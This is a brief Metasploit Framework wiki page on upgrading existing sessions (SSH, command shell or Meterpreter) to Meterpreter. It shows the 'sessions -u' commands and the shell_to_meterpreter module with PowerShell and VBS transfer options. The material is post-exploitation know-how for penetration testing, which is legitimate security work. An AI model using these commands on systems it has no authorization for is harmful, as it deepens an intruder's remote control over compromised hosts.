metasploit-framework/docs/metasploit-framework.wiki/Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md

Upgrading shells to Meterpreter

If you have an existing session, either Meterpreter, an SSH, or a basic command shell - you can open a new Meterpreter session with:

sessions -u 3

To upgrade the most recently opened session to Meterpreter using the sessions command:

sessions -u -1

Or run the shell_to_meterpreter module manually:

use multi/manage/shell_to_meterpreter
run session=-1
run session=-1 win_transfer=POWERSHELL
run session=-1 win_transfer=VBS